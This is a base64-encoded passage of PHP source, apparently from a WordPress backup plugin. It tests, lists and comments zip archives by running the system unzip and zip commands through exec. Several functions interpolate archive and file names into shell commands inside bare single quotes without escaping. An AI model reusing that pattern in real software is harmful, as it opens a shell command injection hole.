CQlUaGUgemlwIGZpbGUgdG8gY2hlY2sKCQkgKglAcGFyYW0JCXN0cmluZwkkbG9jYXRlX2ZpbGUJVGhlIGZpbGUgdG8gdGVzdCBmb3IKCQkgKglAcmV0dXJuCQlib29sL2FycmF5CQkJCVRydWUgaWYgdGhlIGZpbGUgaXMgZm91bmQgaW4gdGhlIHppcCBhbmQgZmFsc2UgaWYgbm90LCBhcnJheSBmb3Igb3RoZXIgcHJvYmxlbQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGZpbGVfZXhpc3RzX2dlbmVyaWMoICR6aXBfZmlsZSwgJGxvY2F0ZV9maWxlICkgewoJCQoJCQkkcmVzdWx0ID0gYXJyYXkoIDEsICJHZW5lcmljIGZhaWx1cmUgaW5kaWNhdGlvbiIgKTsKCQkJJHppcHBhdGggPSAnJzsKCQkJJGNvbW1hbmQgPSAnJzsKCQkJCgkJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnZXhlYycgKSApIHsKCQkJCgkJCQkvLyBHZXQgdGhlIGNvbW1hbmQgcGF0aCBmb3IgdGhlIHVuemlwIGNvbW1hbmQgLSBzaG91bGQgcmV0dXJuIGEgdHJpbW1lZCBzdHJpbmcKCQkJCSR6aXBwYXRoID0gJHRoaXMtPmdldF9jb21tYW5kX3BhdGgoIHNlbGY6OkNPTU1BTkRfVU5aSVBfUEFUSCApOwoJCQkJCgkJCQkvLyBEZXRlcm1pbmUgaWYgd2UgYXJlIHVzaW5nIGFuIGFic29sdXRlIHBhdGgKCQkJCWlmICggIWVtcHR5ICggJHppcHBhdGggKSApIHsKCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdVc2luZyBhYnNvbHV0ZSB1bnppcCBwYXRoOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHppcHBhdGggKTsKCQkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gQWRkIHRoZSB0cmFpbGluZyBzbGFzaCBpZiByZXF1aXJlZAoJCQkJJGNvbW1hbmQgPSAkdGhpcy0+c2xhc2hpZnkoICR6aXBwYXRoICkgLiAndW56aXAnOwkKCQoJCQkJLy8gVHJ5IGFuIGFyY2hpdmUgdGVzdCBvbiB0aGUgZmlsZSBhbmQgd2UnbGwganVzdCBsb29rIGF0IHRoZSByZXR1cm4gY29kZQoJCQkJJGNvbW1hbmQgLj0gIiAtcXQgJ3skemlwX2ZpbGV9JyAneyRsb2NhdGVfZmlsZX0nIjsKCQkJCQoJCQkJJGNvbW1hbmQgPSAoIHNlbGY6Ok9TX1RZUEVfV0lOID09PSAkdGhpcy0+Z2V0X29zX3R5cGUoKSApID8gc3RyX3JlcGxhY2UoICdcJycsICciJywgJGNvbW1hbmQgKSA6ICRjb21tYW5kOwoKCQkJCUBleGVjKCAkY29tbWFuZCwgJG91dHB1dCwgJGV4aXRfY29kZSk7CgkJCQkKCQkJCS8vIE5vdGU6IHdlIGRvbid0IG9wZW4gdGhlIGZpbGUgYW5kIHRoZW4gZG8gc3R1ZmYgYnV0IGl0J3MgYWxsIGRvbmUgaW4gb25lIGFjdGlvbgoJCQkJLy8gc28gd2UgbmVlZCB0byBpbnRlcnByZXQgdGhlIHJldHVybiBjb2RlIHRvIGRlZGlkZSB3aGF0IHRvIGluZGljYXRlCgkJCQlzd2l0Y2ggKCAoaW50KSAkZXhpdF9jb2RlICkgewoJCQkJCWNhc2UgMDoKCQkJCQkJLy8gSGFuZGxlZCBhcmNoaXZlIGFuZCBmaWxlIGZvdW5kIGFuZCBjaGVja2VkIG91dCBvayBzbyByZXR1cm4gc3VjY2VzcwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGaWxlIGZvdW5kIChleGVjKScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGxvY2F0ZV9maWxlICk7CgkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCQlicmVhazsKCQkJCQljYXNlIDExOgoJCQkJCQkvLyBObyBwcm9ibGVtIGhhbmRsaW5nIGFyY2hpdmUgYnV0IGZpbGUgc2ltcGx5IG5vdCBmb3VuZCBzbyByZXR1cm4gZmFpbHVyZQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdGaWxlIG5vdCBmb3VuZCAoZXhlYyknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzogJyAuICRsb2NhdGVfZmlsZSApOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCWJyZWFrOwoJCQkJCWRlZmF1bHQ6CgkJCQkJCS8vIEZvciBub3cgbGV0J3MganVzdCBwcmludCB0aGUgZXJyb3IgY29kZSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkZXhpdF9jb2RlOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdleGVjICh1bnppcCkgZmFpbGVkIHRvIG9wZW4vcHJvY2VzcyBmaWxlIHRvIGNoZWNrIGlmIGZpbGUgZXhpc3RzIChsb29raW5nIGZvciAlMSRzIGluICUyJHMpIC0gRXJyb3IgSW5mbzogJTMkcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkbG9jYXRlX2ZpbGUgLCAkemlwX2ZpbGUsICRlcnJvcl9zdHJpbmcgKSApOwoKCQkJCQkJLy8gUmV0dXJuIGFuIGVycm9yIGNvZGUgYW5kIGEgZGVzY3JpcHRpb24gLSB0aGlzIG5lZWRzIHRvIGJlIGhhbmRsZWQgbW9yZSBnZW5lcmljYWxseQoJCQkJCQkkcmVzdWx0ID0gYXJyYXkoIDEsICJGYWlsZWQgdG8gb3Blbi9wcm9jZXNzIGZpbGUiICk7CgoJCQkJfQoJCQkJCgkJCX0gZWxzZSB7CgkJCQoJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIGV4ZWMgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGZ1bmN0aW9uCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdleGVjIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBleGVjIGZ1bmN0aW9uIG5vbi1leGlzdGVudCcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCgkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkkcmVzdWx0ID0gYXJyYXkoIDEsICJGdW5jdGlvbiBub3QgYXZhaWxhYmxlIHRvIG1hdGNoIG1ldGhvZCIgKTsKCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoKCQl9CgkJCgkJLyoJZ2V0X2ZpbGVfbGlzdCgpCgkJICoJCgkJICoJR2V0IGFuIGFycmF5IG9mIGFsbCBmaWxlcyBpbiBhIHppcCBmaWxlIHdpdGggc29tZSBmaWxlIHByb3BlcnRpZXMuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCSR6aXBfZmlsZQlUaGUgZmlsZSB0byBsaXN0IHRoZSBjb250ZW50IG9mCgkJICoJQHJldHVybgkJYm9vbHxhcnJheQkJCQlmYWxzZSBvbiBmYWlsdXJlLCBvdGhlcndpc2UgYXJyYXkgb2YgZmlsZSBwcm9wZXJ0aWVzIChtYXkgYmUgZW1wdHkpCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF9maWxlX2xpc3QoICR6aXBfZmlsZSApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9OSVg6CgkJCQkJJHJlc3VsdCA9ICR0aGlzLT5nZXRfZmlsZV9saXN0X2dlbmVyaWMoICR6aXBfZmlsZSApOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX1dJTjoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmdldF9maWxlX2xpc3RfZ2VuZXJpYyggJHppcF9maWxlICk7CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkKCQkvKglnZXRfZmlsZV9saXN0X2dlbmVyaWMoKQoJCSAqCQoJCSAqCUdldCBhbiBhcnJheSBvZiBhbGwgZmlsZXMgaW4gYSB6aXAgZmlsZSB3aXRoIHNvbWUgZmlsZSBwcm9wZXJ0aWVzLgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkkemlwX2ZpbGUJVGhlIGZpbGUgdG8gbGlzdCB0aGUgY29udGVudCBvZgoJCSAqCUByZXR1cm4JCWJvb2x8YXJyYXkJCQkJZmFsc2Ugb24gZmFpbHVyZSwgb3RoZXJ3aXNlIGFycmF5IG9mIGZpbGUgcHJvcGVydGllcyAobWF5IGJlIGVtcHR5KQoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfZmlsZV9saXN0X2dlbmVyaWMoICR6aXBfZmlsZSApIHsKCQkKCQkJJGZpbGVfbGlzdCA9IGFycmF5KCk7CgkJCSRzdGF0X2tleXMgPSBhcnJheSggJ3Blcm1pc3Npb25zJywgJ3ppcF92ZXJzaW9uJywgJ3ppcF9vcycsICdzaXplJywgJ3R5cGVfYXR0cicsICdjb21wcmVzc2VkX3NpemUnLCAnY29tcHJlc3Npb25fbWV0aG9kJywgJ21kYXRlJywgJ2ZpbGVuYW1lJyApOwoJCQkkb3V0cHV0ID0gYXJyYXkoKTsKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkkemlwcGF0aCA9ICcnOwoJCQkkY29tbWFuZCA9ICcnOwoJCQkKCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICdleGVjJyApICkgewoJCQkKCQkJCS8vIEdldCB0aGUgY29tbWFuZCBwYXRoIGZvciB0aGUgdW56aXAgY29tbWFuZCAtIHNob3VsZCByZXR1cm4gYSB0cmltbWVkIHN0cmluZwoJCQkJJHppcHBhdGggPSAkdGhpcy0+Z2V0X2NvbW1hbmRfcGF0aCggc2VsZjo6Q09NTUFORF9VTlpJUF9QQVRIICk7CgkJCQkKCQkJCS8vIERldGVybWluZSBpZiB3ZSBhcmUgdXNpbmcgYW4gYWJzb2x1dGUgcGF0aAoJCQkJaWYgKCAhZW1wdHkgKCAkemlwcGF0aCApICkgewoJCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1VzaW5nIGFic29sdXRlIHVuemlwIHBhdGg6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkemlwcGF0aCApOwoJCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBBZGQgdGhlIHRyYWlsaW5nIHNsYXNoIGlmIHJlcXVpcmVkCgkJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd1bnppcCc7CQoKCQkJCS8vIFdlJ2xsIHRyeSBhbmQgZ2V0IGEgKm5peCBzdHlsZSBkaXJlY3RvcnkgbGlzdGluZyBvdXRwdXQgYW5kIHByb2Nlc3MgaXQKCQkJCS8vIE5vdGU6IHdlJ2xsIGlnbm9yZSBzdGRlcnIgb3V0cHV0IGZvciBub3cgYXMgaXQgbWlnaHQgaW50ZXJmZXJlCgkJCQkvLyBOb3RlOiB0aGUgZmlsZSBkYXRlIGdpdmVuIGlzIHRoZSBzdG9yZWQgbG9jYWwgdGltZSAobm90IFVUQyB3aGljaCBtYXkgYmUgc3RvcmVkIGFzIHdlbGwpCgkJCQkKCQkJCS8vIE91dHB1dCBmb3JtYXQgc2hvdWxkIGJlIGxpa2U6CgkJCQkvLyAtcnd4ci14ci14ICAyLjMgdW54ICAgICAyNzI5IHR4ICAgIDEwOTkgZGVmTiAyMDEyMDIyMC4yMzE5NTYgZmlsZS9wYXRoL25hbWUuZXh0CgkJCQkkY29tbWFuZCAuPSAiIC1aIC0taCAtLXQgLWxUICd7JHppcF9maWxlfSciOwoJCQkJCgkJCQkkY29tbWFuZCA9ICggc2VsZjo6T1NfVFlQRV9XSU4gPT09ICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgPyBzdHJfcmVwbGFjZSggJ1wnJywgJyInLCAkY29tbWFuZCApIDogJGNvbW1hbmQ7CgoJCQkJQGV4ZWMoICRjb21tYW5kLCAkb3V0cHV0LCAkZXhpdF9jb2RlKTsKCQkJCQoJCQkJLy8gTm90ZTogd2UgZG9uJ3Qgb3BlbiB0aGUgZmlsZSBhbmQgdGhlbiBkbyBzdHVmZiBidXQgaXQncyBhbGwgZG9uZSBpbiBvbmUgYWN0aW9uCgkJCQkvLyBzbyB3ZSBuZWVkIHRvIGludGVycHJldCB0aGUgcmV0dXJuIGNvZGUgdG8gZGVkaWRlIHdoYXQgdG8gZG8KCQkJCXN3aXRjaCAoIChpbnQpICRleGl0X2NvZGUgKSB7CgkJCQkJY2FzZSAwOgoJCQkJCQkvLyBIYW5kbGVkIGFyY2hpdmUgYW5kIGFwcGFyZW50bHkgZ290IGEgbGlzdCBzbyB0cnkgYW5kIHByb2Nlc3MgaXQKCQkJCQkJCgkJCQkJCS8vIFNob3VsZCBiZSBvbmUgZmlsZSBwZXIgbGluZSwgbm8gbW9yZSBubyBsZXNzCgkJCQkJCSRmaWxlX2NvdW50ID0gc2l6ZW9mKCAkb3V0cHV0ICk7CgkJCQkJCQoJCQkJCQlmb3JlYWNoICggJG91dHB1dCBhcyAkbGluZSApIHsKCQkJCQkJCgkJCQkJCQkvLyBCcmVhayB1cCB0aGUgb3V0cHV0IGJhc2VkIG9uIHdoaXRlc3BhY2UgZm9yIG1heCBvZiA5IGZpZWxkcyAobGFzdCB3aWxsIGJlIGZpbGVuYW1lKQoJCQkJCQkJJHN0YXQgPSBhcnJheV9jb21iaW5lKCAgJHN0YXRfa2V5cyAsIHByZWdfc3BsaXQoICIvW1xzLF0rLyIsICRsaW5lLCA5ICkgKTsKCQkJCQkJCQoJCQkJCQkJLy8gQ29udmVydCBzY3Jld3kgZGF0ZSBmb3JtYXQgdG8gYSBjb21tb24gbm90YXRpb24gKGNob29zZSBNeVNRTCBmb3JtYXQpCgkJCQkJCQkkdHJhbnNsYXRlZF9tZGF0ZSA9IHByZWdfcmVwbGFjZSggJy8oXGR7NH0pKFxkezJ9KShcZHsyfSkuKFxkezJ9KShcZHsyfSkoXGR7Mn0pLycsJyQxLSQyLSQzICQ0OiQ1OiQ2JyAsICRzdGF0WyAnbWRhdGUnIF0gKTsKCgkJCQkJCQkvLyBNdXN0IGNvbnZlcnQgdG8gYSB0aW1lc3RhbXAgKHVzaW5nIGN1cnJlbnQgdGltZXpvbmUpCgkJCQkJCQkkc3RhdFsgJ210aW1lJyBdID0gc3RydG90aW1lKCAkdHJhbnNsYXRlZF9tZGF0ZSApOwoJCQkJCQkJCgkJCQkJCQkkZmlsZV9saXN0W10gPSBhcnJheSgKCQkJCQkJCQkkc3RhdFsgJ2ZpbGVuYW1lJyBdLAoJCQkJCQkJCSRzdGF0WyAnc2l6ZScgXSwKCQkJCQkJCQkkc3RhdFsgJ2NvbXByZXNzZWRfc2l6ZScgXSwKCQkJCQkJCQkkc3RhdFsgJ210aW1lJyBdCgkJCQkJCQkpOwoJCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ2V4ZWMgKHVuemlwKSBsaXN0ZWQgZmlsZSBjb250ZW50cyAoJTEkcyknLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUgKSApOwoJCgkJCQkJCSR0aGlzLT5sb2dfYXJjaGl2ZV9maWxlX3N0YXRzKCAkemlwX2ZpbGUgKTsKCQkJCQkJCgkJCQkJCSRyZXN1bHQgPSAmJGZpbGVfbGlzdDsKCQkJCQkJYnJlYWs7CgoJCQkJCWRlZmF1bHQ6CgkJCQkJCS8vIEZvciBub3cgbGV0J3MganVzdCBwcmludCB0aGUgZXJyb3IgY29kZSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkZXhpdF9jb2RlOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdleGVjICh1bnppcCkgZmFpbGVkIHRvIG9wZW4vcHJvY2VzcyBmaWxlIHRvIGxpc3QgY29udGVudHMgKCUxJHMpIC0gRXJyb3IgSW5mbzogJTIkcy4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLCAkemlwX2ZpbGUsICRlcnJvcl9zdHJpbmcgKSApOwoKCQkJCQkJLy8gUmV0dXJuIGFuIGVycm9yIGNvZGUgYW5kIGEgZGVzY3JpcHRpb24gLSB0aGlzIG5lZWRzIHRvIGJlIGhhbmRsZWQgbW9yZSBnZW5lcmljYWxseQoJCQkJCQkvLyRyZXN1bHQgPSBhcnJheSggMSwgIlVuYWJsZSB0byBnZXQgYXJjaGl2ZSBjb250ZW50cyIgKTsKCQkJCQkJLy8gQ3VycmVudGx5IGFzIHdlIGFyZSByZXR1cm5pbmcgYW4gYXJyYXkgYXMgYSB2YWxpZCByZXN1bHQgd2UganVzdCByZXR1cm4gZmFsc2Ugb24gZmFpbHVyZQoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQl9CgkJCQkKCQkJfSBlbHNlIHsKCQkJCgkJCQkvLyBTb21ldGhpbmcgZmlzaHkgLSB0aGUgbWV0aG9kcyBpbmRpY2F0ZWQgZXhlYyBidXQgd2UgY291bGRuJ3QgZmluZCB0aGUgZnVuY3Rpb24KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ2V4ZWMgaW5kaWNhdGVkIGFzIGF2YWlsYWJsZSBtZXRob2QgYnV0IGV4ZWMgZnVuY3Rpb24gbm9uLWV4aXN0ZW50JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoKCQkJCS8vIFJldHVybiBhbiBlcnJvciBjb2RlIGFuZCBhIGRlc2NyaXB0aW9uIC0gdGhpcyBuZWVkcyB0byBiZSBoYW5kbGVkIG1vcmUgZ2VuZXJpY2FsbHkKCQkJCS8vJHJlc3VsdCA9IGFycmF5KCAxLCAiQ2xhc3Mgbm90IGF2YWlsYWJsZSB0byBtYXRjaCBtZXRob2QiICk7CgkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhbiBhcnJheSBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkkcmVzdWx0ID0gZmFsc2U7CgoJCQl9CgoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCQkJCSAgCQoJCX0KCQkKCQkvKglzZXRfY29tbWVudCgpCgkJICoJCgkJICoJUmV0cmlldmUgYXJjaGl2ZSBjb21tZW50LgoJCSAqCQoJCSAqCUBwYXJhbQkJc3RyaW5nCQkJJHppcF9maWxlCQlGaWxlbmFtZSBvZiBhcmNoaXZlIHRvIHNldCBjb21tZW50IG9uLgoJCSAqCUBwYXJhbQkJc3RyaW5nCQkJJGNvbW1lbnQJCUNvbW1lbnQgdG8gYXBwbHkgdG8gYXJjaGl2ZS4KCQkgKglAcmV0dXJuCQlib29sCQkJCQkJCXRydWUgb24gc3VjY2Vzcywgb3RoZXJ3aXNlIGZhbHNlLgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBzZXRfY29tbWVudCggJHppcF9maWxlLCAkY29tbWVudCApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9OSVg6CgkJCQkJJHJlc3VsdCA9ICR0aGlzLT5zZXRfY29tbWVudF9saW51eCggJHppcF9maWxlLCAkY29tbWVudCApOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX1dJTjoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPnNldF9jb21tZW50X3dpbmRvd3MoICR6aXBfZmlsZSwgJGNvbW1lbnQgKTsKCQkJCQlicmVhazsKCQkJCWRlZmF1bHQ6CgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQl9CgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCgkJfQoKCQkvKglzZXRfY29tbWVudF93aW5kb3dzKCkKCQkgKgkKCQkgKglSZXRyaWV2ZSBhcmNoaXZlIGNvbW1lbnQuCgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJCQkkemlwX2ZpbGUJCUZpbGVuYW1lIG9mIGFyY2hpdmUgdG8gc2V0IGNvbW1lbnQgb24uCgkJICoJQHBhcmFtCQlzdHJpbmcJCQkkY29tbWVudAkJQ29tbWVudCB0byBhcHBseSB0byBhcmNoaXZlLgoJCSAqCUByZXR1cm4JCWJvb2wJCQkJCQkJdHJ1ZSBvbiBzdWNjZXNzLCBvdGhlcndpc2UgZmFsc2UuCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHNldF9jb21tZW50X3dpbmRvd3MoICR6aXBfZmlsZSwgJGNvbW1lbnQgKSB7CgkJCgkJCS8vIFRoaXMgc2hvdWxkIG5ldmVyIGJlIGNhbGxlZCBidXQganVzdCBpbiBjYXNlIHJldHVybiBmYWxzZSBzaWxlbnRseQoJCQlyZXR1cm4gZmFsc2U7CgkJCQoJCX0KCgkJLyoJc2V0X2NvbW1lbnRfbGludXgoKQoJCSAqCQoJCSAqCVJldHJpZXZlIGFyY2hpdmUgY29tbWVudC4KCQkgKgkKCQkgKglAcGFyYW0JCXN0cmluZwkJCSR6aXBfZmlsZQkJRmlsZW5hbWUgb2YgYXJjaGl2ZSB0byBzZXQgY29tbWVudCBvbi4KCQkgKglAcGFyYW0JCXN0cmluZwkJCSRjb21tZW50CQlDb21tZW50IHRvIGFwcGx5IHRvIGFyY2hpdmUuCgkJICoJQHJldHVybgkJYm9vbAkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIG90aGVyd2lzZSBmYWxzZS4KCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gc2V0X2NvbW1lbnRfbGludXgoICR6aXBfZmlsZSwgJGNvbW1lbnQgKSB7CgkJCgkJCSRvdXRwdXQgPSBhcnJheSgpOwoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCSR6aXBwYXRoID0gJyc7CgkJCSRjb21tYW5kID0gJyc7CgkJCQoJCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2V4ZWMnICkgKSB7CgkJCQoJCQkJLy8gR2V0IHRoZSBjb21tYW5kIHBhdGggZm9yIHRoZSB6aXAgY29tbWFuZCAtIHNob3VsZCByZXR1cm4gYSB0cmltbWVkIHN0cmluZwoJCQkJJHppcHBhdGggPSAkdGhpcy0+Z2V0X2NvbW1hbmRfcGF0aCggc2VsZjo6Q09NTUFORF9aSVBfUEFUSCApOwoJCQkJCgkJCQkvLyBEZXRlcm1pbmUgaWYgd2UgYXJlIHVzaW5nIGFuIGFic29sdXRlIHBhdGgKCQkJCWlmICggIWVtcHR5ICggJHppcHBhdGggKSApIHsKCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdVc2luZyBhYnNvbHV0ZSB6aXAgcGF0aDogJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICR6aXBwYXRoICk7CgkJCQkJCgkJCQl9CgkJCQkKCQkJCS8vIEFkZCB0aGUgdHJhaWxpbmcgc2xhc2ggaWYgcmVxdWlyZWQKCQkJCSRjb21tYW5kID0gJHRoaXMtPnNsYXNoaWZ5KCAkemlwcGF0aCApIC4gJ3ppcCc7CQoKCQkJCS8vIFdlIGhhdmUgdG8gZmVlZCB0aGUgY29tbWVudCBpbiAtIHRyeWluZyBieSBwaXBlIGhlcmUKCQkJCS8vIFdlIG5lZWQgdG8gcHJlcGVuZCB0aGUgY29tbWVudCBpbnB1dAoJCQkJJGNvbW1hbmQgLj0gIiAteiAneyR6aXBfZmlsZX0nIjsKCQkJCQoJCQkJLy8gTm90ZSB0aGF0IHdlIGVzY2FwZSB0aGUgY29tbWVudCBhcmcgZm9yIHRoZSBzaGVsbC4uLgoJCQkJJGNvbW1hbmQgID0gJ2VjaG8gJyAuIGVzY2FwZXNoZWxsYXJnKCAkY29tbWVudCApIC4gJyB8ICcgLiAkY29tbWFuZDsKCQkJCQoJCQkJQGV4ZWMoICRjb21tYW5kLCAkb3V0cHV0LCAkZXhpdF9jb2RlKTsKCQkJCQoJCQkJLy8gTm90ZTogd2UgZG9uJ3Qgb3BlbiB0aGUgZmlsZSBhbmQgdGhlbiBkbyBzdHVmZiBidXQgaXQncyBhbGwgZG9uZSBpbiBvbmUgYWN0aW9uCgkJCQkvLyBzbyB3ZSBuZWVkIHRvIGludGVycHJldCB0aGUgcmV0dXJuIGNvZGUgdG8gZGVkaWRlIHdoYXQgdG8gZG8KCQkJCXN3aXRjaCAoIChpbnQpICRleGl0X2NvZGUgKSB7CgkJCQkJY2FzZSAwOgoJCQkJCQkvLyBIYW5kbGVkIGFyY2hpdmUgYW5kIGFwcGFyZW50bHkgc2V0IHRoZSBjb21tZW50IC0gbm8gZnVydGhlciBhY3Rpb24gcmVxdWlyZWQKCQkJCQkJCQkJCQkJCQkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ2V4ZWMgKHppcCkgc2V0IGNvbW1lbnQgaW4gZmlsZSAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCQkJCQkJCQoJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkJYnJlYWs7CgoJCQkJCWRlZmF1bHQ6CgkJCQkJCS8vIEZvciBub3cgbGV0J3MganVzdCBwcmludCB0aGUgZXJyb3IgY29kZSBhbmQgZHJvcCB0aHJvdWdoCgkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkZXhpdF9jb2RlOwoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdleGVjICh6aXApIGZhaWxlZCB0byBvcGVuL3Byb2Nlc3MgZmlsZSB0byBzZXQgY29tbWVudCBpbiBmaWxlICUxJHMgLSBFcnJvciBJbmZvOiAlMiRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCQkvLyBSZXR1cm4gYW4gZXJyb3IgY29kZSBhbmQgYSBkZXNjcmlwdGlvbiAtIHRoaXMgbmVlZHMgdG8gYmUgaGFuZGxlZCBtb3JlIGdlbmVyaWNhbGx5CgkJCQkJCS8vJHJlc3VsdCA9IGFycmF5KCAxLCAiVW5hYmxlIHRvIGdldCBhcmNoaXZlIGNvbnRlbnRzIiApOwoJCQkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhIHN0cmluZyBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCX0KCQkJCQoJCQl9IGVsc2UgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCBleGVjIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBmdW5jdGlvbgoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnZXhlYyBpbmRpY2F0ZWQgYXMgYXZhaWxhYmxlIG1ldGhvZCBidXQgZXhlYyBmdW5jdGlvbiBub24tZXhpc3RlbnQnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgoJCQkJLy8gUmV0dXJuIGFuIGVycm9yIGNvZGUgYW5kIGEgZGVzY3JpcHRpb24gLSB0aGlzIG5lZWRzIHRvIGJlIGhhbmRsZWQgbW9yZSBnZW5lcmljYWxseQoJCQkJLy8kcmVzdWx0ID0gYXJyYXkoIDEsICJDbGFzcyBub3QgYXZhaWxhYmxlIHRvIG1hdGNoIG1ldGhvZCIgKTsKCQkJCS8vIEN1cnJlbnRseSBhcyB3ZSBhcmUgcmV0dXJuaW5nIGEgc3RyaW5nIGFzIGEgdmFsaWQgcmVzdWx0IHdlIGp1c3QgcmV0dXJuIGZhbHNlIG9uIGZhaWx1cmUKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCQkKCQl9CgoJCS8qCWdldF9jb21tZW50KCkKCQkgKgkKCQkgKglSZXRyaWV2